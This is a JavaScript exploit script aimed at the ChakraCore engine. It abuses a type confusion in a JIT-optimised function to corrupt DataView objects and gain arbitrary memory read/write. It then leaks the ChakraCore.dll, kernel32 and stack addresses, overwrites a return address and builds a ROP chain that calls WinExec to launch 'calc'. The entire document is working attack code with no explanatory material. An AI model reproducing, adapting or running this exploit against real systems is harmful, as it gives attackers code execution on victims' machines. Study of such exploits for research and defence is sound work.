obj = {}; obj.a = 1; obj.b = 2; obj.c = 3; obj.d = 4; obj.e = 5; obj.f = 6; obj.g = 7; obj.h = 8; obj.i = 9; obj.j = 10; dataview1 = new DataView(new ArrayBuffer(0x100)); dataview2 = new DataView(new ArrayBuffer(0x100)); function hex(x) { return x.toString(16); } function read64(lo, hi) { dataview1.setUint32(0x38, lo, true); dataview1.setUint32(0x3c, hi, true); var arrayRead = new Uint32Array(0x10); arrayRead[0] = dataview2.getUint32(0x0, true); arrayRead[1] = dataview2.getUint32(0x4, true); return arrayRead; } function write64(lo, hi, valLo, valHi) { dataview1.setUint32(0x38, lo, true); dataview1.setUint32(0x3C, hi, true); dataview2.setUint32(0x0, valLo, true); dataview2.setUint32(0x4, valHi, true); } function opt(o, proto, value) { o.b = 1; let tmp = {__proto__: proto}; o.a = value; } function main() { for (let i=0;i < 2000; i++) { let o = {a:1, b:2}; opt(o, {},{}); } let o = {a:1, b: 2}; opt(o, o, obj); o.c = dataview1; obj.h = dataview2; vtableLo = dataview1.getUint32(0x0,true); vtableHigh = dataview1.getUint32(0x4,true); typeLo = dataview1.getUint32(0x8, true); typeHigh = dataview1.getUint32(0xc, true); print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo)); chakraLo = vtableLo - 0x19cd680; chakraHigh = vtableHigh; print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo)); iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh); kernel32High = iatEntry[1]; kernel32Lo = iatEntry[0] - 0x00020470; print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo)); javascriptLibrary = read64(typeLo+0x8, typeHigh); scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]); threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]); stackAddress = read64(threadContext[0]+0xc8, threadContext[1]); print("[+] Leaked stack from type->javascriptLibrary->scriptContext->stackLimitForCurrentThread"); print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0])); var stackLeak = new Uint32Array(0x10); stackLeak[0] = stackAddress[0] + 0xed000; stackLeak[1] = stackAddress[1]; // Print update print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0])); let counter = 0; var retAddr = new Uint32Array(0x10); retAddr[0] = chakraLo + 0x01768f20; retAddr[1] = chakraHigh; while (true) { tempContents = read64(stackLeak[0]+counter, stackLeak[1]); if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1])) { print("[+] Found the target address on the stack!"); print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1])); break; } counter += 0x8; } // Begin ROP chain // 0x181774902: pop rax ; ret ; (1 found) - 0x1774902 // 0x181773ca3: pop rcx ; ret ; (1 found) - 0x1773ca3 // 0x1816d08b7: mov qword [rcx], rax ; ret ; (1 found) - 0x16d08b7 write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1774902, chakraHigh); // 0x18003e876: pop rax ; ret counter+=0x8; write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000); // calc counter+=0x8; write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1773ca3, chakraHigh); // 0x18003e6c6: pop rcx ; ret counter+=0x8; write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x01ce3000, chakraHigh); // Empty address in .data of chakracore.dll counter+=0x8; write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x16d08b7, chakraHigh); // 0x1800d7ff7: mov qword [rcx], rax ; ret counter+=0x8; write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1764415, chakraHigh); // 0x1800d7ff7: pop rdx ; ret counter+=0x8; write64(stackLeak[0]+counter, stackLeak[1], 0x00000000, 0x00000000); // 0 counter+=0x8; write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1774902, chakraHigh); // 0x18003e876: pop rax ; ret counter+=0x8; write64(stackLeak[0]+counter, stackLeak[1], kernel32Lo+0x000677d0, kernel32High); // KERNEL32!WinExec address counter+=0x8; write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x17903f6, chakraHigh); // 0x1817903f6: jmp rax counter+=0x8; } main();